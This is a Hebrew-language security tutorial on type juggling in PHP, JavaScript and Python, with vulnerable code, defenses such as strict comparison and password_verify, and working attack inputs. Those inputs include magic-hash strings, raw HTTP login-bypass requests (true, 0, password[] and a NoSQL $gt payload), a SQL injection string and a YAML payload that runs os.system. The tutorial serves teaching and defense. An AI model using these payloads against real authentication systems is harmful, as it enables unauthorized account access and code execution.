לדלג לתוכן

בלבול טיפוסים - Type Juggling

מהו בלבול טיפוסים

בלבול טיפוסים (Type Juggling) הוא exploit ההתנהגות של שפות תכנות שמבצעות המרת טיפוסים אוטומטית בזמן השוואה או פעולות חשבוניות. הבעיה הבולטת ביותר היא ב-PHP, אבל קיימת גם ב-JavaScript ובשפות נוספות.

כשאפליקציה משתמשת בהשוואה רופפת (loose comparison) במקום השוואה מחמירה (strict comparison), תוקף יכול לשלוח קלט מטיפוס שונה שיעבור את הבדיקה בצורה בלתי צפויה.

השוואה רופפת מול מחמירה ב-PHP

ההבדל בין == ל-===

// Loose comparison - == (performs type conversion)
var_dump(0 == "password");    // true!  (string -> int = 0)
var_dump("0" == false);       // true!
var_dump("" == false);        // true!
var_dump(null == false);      // true!
var_dump("0" == null);        // false
var_dump("1" == "01");        // true!  (both -> int 1)
var_dump("1" == "1.0");       // true!
var_dump(0 == "0e12345");     // true!  (0 == 0)

// Strict comparison - === (also checks the type)
var_dump(0 === "password");   // false
var_dump("0" === false);      // false
var_dump("1" === "01");       // false

טבלת השוואה רופפת ב-PHP

         | true  | false | 1    | 0    | -1   | "1"  | "0"  | ""   | null
---------|-------|-------|------|------|------|------|------|------|------
true     | true  | false | true | false| true | true | false| false| false
false    | false | true  | false| true | false| false| true | true | true
1        | true  | false | true | false| false| true | false| false| false
0        | false | true  | false| true | false| false| true | false*| false*
"php"    | true  | false | false| true*| false| false| false| false| false

* In PHP < 8.0 (different in PHP 8.0+!)

הערה חשובה: ב-PHP 8.0 שינו את ההתנהגות של 0 == "string" ל-false. אבל גרסאות ישנות יותר עדיין נפוצות מאוד.

האשים קסומים - Magic Hashes

מהם האשים קסומים

ב-PHP, מחרוזות שמתחילות ב-0e ואחריהן רק ספרות מפורשות כסימון מדעי (scientific notation) בהשוואה רופפת:

"0e462097431906509019562988736854" == "0"  // true!
// because PHP interprets "0e..." as 0 * 10^462... = 0
// and "0" = 0
// so 0 == 0 -> true

דוגמאות של magic hashes

ערכים שה-MD5 שלהם מתחיל ב-0e ואחריו רק ספרות:

MD5 Magic Hashes:
=================
String:  "240610708"
MD5:     "0e462097431906509019562988736854"

String:  "QNKCDZO"
MD5:     "0e830400451993494058024219903391"

String:  "aabg7XSs"
MD5:     "0e087386482136013740957780965295"

SHA1 Magic Hashes:
==================
String:  "aaroZmOk"
SHA1:    "0e66507019969427134894567494305185566735"

String:  "aaK1STfY"
SHA1:    "0e76658526655756207688271159624026011393"

הexploit בעיסקה - Exploitation

קוד אימות פגיע:

// Vulnerable - loose comparison of a hash
function verifyPassword($input, $storedHash) {
    $inputHash = md5($input);
    if ($inputHash == $storedHash) {
        return true;  // authenticated!
    }
    return false;
}

// Scenario:
// The victim's password: "240610708"
// hash: "0e462097431906509019562988736854"
//
// The attacker sends: "QNKCDZO"
// hash: "0e830400451993494058024219903391"
//
// "0e462..." == "0e830..." -> 0 == 0 -> true!
// The attacker logs in with the wrong password!

איור המדגים עקיפת אימות באמצעות magic hash שבו שני האשים המתחילים באפס אי נקראים כמספר אפס ולכן השוואה רופפת מחזירה אמת בעוד השוואה מחמירה נכשלת

הbypass אימות באמצעות מניפולציית טיפוסים ב-JSON

שליחת true במקום סיסמה

ב-PHP, כאשר אפליקציה מקבלת JSON ומשווה עם ==:

$data = json_decode(file_get_contents('php://input'), true);

// Vulnerable!
if ($data['password'] == $storedPassword) {
    // authenticated
}

בקשה תקינה:

POST /login HTTP/1.1
Content-Type: application/json

{"username": "admin", "password": "secretpassword123"}

בקשת תקיפה:

POST /login HTTP/1.1
Content-Type: application/json

{"username": "admin", "password": true}

למה זה עובד:

true == "secretpassword123"  // true!
true == "anything"           // true!
true == ""                   // false (empty string)

ב-JSON ניתן לשלוח true כערך בוליאני (לא כמחרוזת "true"). ב-PHP, true בהשוואה רופפת שווה לכל מחרוזת לא ריקה.

שליחת 0 במקום סיסמה

POST /login HTTP/1.1
Content-Type: application/json

{"username": "admin", "password": 0}
0 == "secretpassword123"  // true in PHP < 8.0!
// because PHP converts the string to int -> 0

הbypass strcmp

הפונקציה strcmp() ב-PHP מחזירה 0 אם המחרוזות שוות, ערך שלילי או חיובי אם לא. אבל כשמעבירים לה מערך במקום מחרוזת:

// Vulnerable
if (strcmp($input, $password) == 0) {
    // authenticated
}

// If $input is an array:
strcmp([], "password")  // returns NULL + PHP Warning
NULL == 0              // true!

בקשת תקיפה:

POST /login HTTP/1.1
Content-Type: application/x-www-form-urlencoded

username=admin&password[]=anything

ב-PHP, שליחת password[] יוצרת מערך במקום מחרוזת. strcmp מקבלת מערך, מחזירה NULL, ו-NULL == 0 זה true.

הbypass intval ו-is_numeric

הbypass is_numeric

is_numeric("0xdeadbeef")  // true in PHP < 7.0!
is_numeric("1e5")          // true (100000)
is_numeric("  123  ")      // true (whitespace ignored)

הbypass intval

intval("1337")        // 1337
intval("1337abc")     // 1337 (ignores non-numeric characters)
intval("0x539")       // 0 (no hex support by default)
intval("0x539", 16)   // 1337

// Exploit: bypass check
if (intval($input) <= 100) {
    // "101abc" -> intval = 101, won't pass
    // but what if the value is later used as a string?
}

שימוש מעשי

// Vulnerable code - age check
$age = $_POST['age'];

if (is_numeric($age) && intval($age) >= 18) {
    // Access granted
    $query = "SELECT * FROM users WHERE age = $age";
    // if $age = "18 OR 1=1" -> intval = 18, passes the check
    // but in the query: "... WHERE age = 18 OR 1=1" -> SQLi!
}

בלבול טיפוסים ב-JavaScript

כפייה מרומזת - Type Coercion

// Loose comparison
console.log(0 == "");        // true
console.log(0 == "0");       // true
console.log("" == false);    // true
console.log([] == false);    // true
console.log(null == undefined); // true

// Arithmetic operations
console.log("5" - 3);       // 2 (string -> number)
console.log("5" + 3);       // "53" (number -> string!)
console.log(true + true);   // 2

// Surprising comparisons
console.log([] == 0);       // true
console.log([] == "");      // true
console.log({} == "[object Object]"); // false (!)

הexploit ב-Node.js

// Vulnerable code
app.post('/login', (req, res) => {
    const { username, password } = req.body;

    const user = db.findUser(username);

    // Vulnerable - loose comparison
    if (user && user.password == password) {
        createSession(user);
        return res.json({ success: true });
    }

    res.status(401).json({ error: 'Invalid credentials' });
});

ב-Express, אם שולחים JSON, password יכול להיות כל טיפוס:

POST /login HTTP/1.1
Content-Type: application/json

{"username": "admin", "password": {"$gt": ""}}

בדוגמה הזו, אם בסיס הנתונים הוא MongoDB, {"$gt": ""} הוא אופרטור NoSQL שאומר "גדול ממחרוזת ריקה" - כל סיסמה תעבור.

בלבול טיפוסים ב-Python

Python בדרך כלל מחמירה יותר, אבל יש מקרים:

# Python doesn't do type coercion in ==
0 == "0"   # False (unlike PHP)

# But in boolean comparisons:
bool(0)    # False
bool("")   # False
bool([])   # False
bool(None) # False

# Exploit - YAML deserialization
import yaml
data = yaml.load("password: !!python/object/apply:os.system ['id']")
# The "password" value turns into code execution!

# Exploit - JSON schema bypass
import json
data = json.loads('{"isAdmin": true}')
# data['isAdmin'] is True (boolean, not a string)

if data.get('isAdmin'):
    grant_admin()  # attacker sends true and gets permissions

הexploit פרקטי ב-Flask

@app.route('/verify', methods=['POST'])
def verify():
    data = request.get_json()
    token = data.get('token')
    expected = get_expected_token()

    # Vulnerable if expected is None or 0
    if token == expected:
        return jsonify({'verified': True})

    # Attack: send {"token": null}
    # if expected is None: None == None -> True
    # Attack: send {"token": 0}
    # if expected is 0 (or False): 0 == 0 -> True

דוגמה מקיפה - מערכת אימות פגיעה ב-PHP

class AuthController {
    public function login($request) {
        $username = $request->input('username');
        $password = $request->input('password');

        $user = User::where('username', $username)->first();

        if (!$user) {
            return response()->json(['error' => 'User not found'], 404);
        }

        // Vulnerability 1: loose comparison
        if (md5($password) == $user->password_hash) {
            return $this->createSession($user);
        }

        // Vulnerability 2: strcmp with ==
        if (strcmp($password, $user->api_key) == 0) {
            return $this->createSession($user);
        }

        // Vulnerability 3: token check
        $token = $request->input('reset_token');
        if ($token == $user->reset_token) {
            return $this->createSession($user);
        }

        return response()->json(['error' => 'Authentication failed'], 401);
    }
}

וקטורי תקיפה:

-- Attack 1: Magic Hash
POST /login HTTP/1.1
Content-Type: application/json

{"username": "victim", "password": "240610708"}

-- Attack 2: Array bypass on strcmp
POST /login HTTP/1.1
Content-Type: application/x-www-form-urlencoded

username=victim&password[]=anything

-- Attack 3: Boolean bypass on reset_token
POST /login HTTP/1.1
Content-Type: application/json

{"username": "victim", "reset_token": true}

-- Attack 4: Integer bypass (PHP < 8.0)
POST /login HTTP/1.1
Content-Type: application/json

{"username": "victim", "password": 0}

הגנות

שימוש בהשוואה מחמירה

// Vulnerable
if ($input == $expected) { ... }

// Protected
if ($input === $expected) { ... }

המרת טיפוסים מפורשת

// Vulnerable
$quantity = $_POST['quantity'];

// Protected
$quantity = (int) $_POST['quantity'];
if ($quantity <= 0) {
    throw new InvalidArgumentException('Invalid quantity');
}

ולידציית טיפוס קלט

// Verify that the input is a string
function validateStringInput($input): string {
    if (!is_string($input)) {
        throw new InvalidArgumentException('Expected string input');
    }
    return $input;
}

// Usage
$password = validateStringInput($request->input('password'));

שימוש ב-password_verify

// Vulnerable - manual hash comparison
if (md5($password) == $storedHash) { ... }

// Protected - password_verify performs a safe comparison
if (password_verify($password, $storedHash)) { ... }

שימוש ב-hash_equals

// Vulnerable - regular comparison (also vulnerable to timing attacks)
if ($token == $expectedToken) { ... }

// Protected - safe constant-time comparison
if (hash_equals($expectedToken, $token)) { ... }

סיכום

בלבול טיפוסים הוא חולשה מסוכנת במיוחד כי הקוד נראה תקין לחלוטין. הנקודות המרכזיות:

  • ב-PHP, תמיד השתמשו ב-=== ולא ב-==
  • חפשו פונקציות כמו strcmp, intval, is_numeric שניתנות לbypass
  • ב-JSON, אפשר לשלוח טיפוסים שונים - true, 0, null, מערכים
  • ב-magic hashes, ערכי hash שמתחילים ב-0e שווים לאפס בהשוואה רופפת
  • בדקו גם JavaScript ו-Python עבור בעיות דומות
  • הגנה: השוואה מחמירה, המרת טיפוסים מפורשת, ולידציית קלט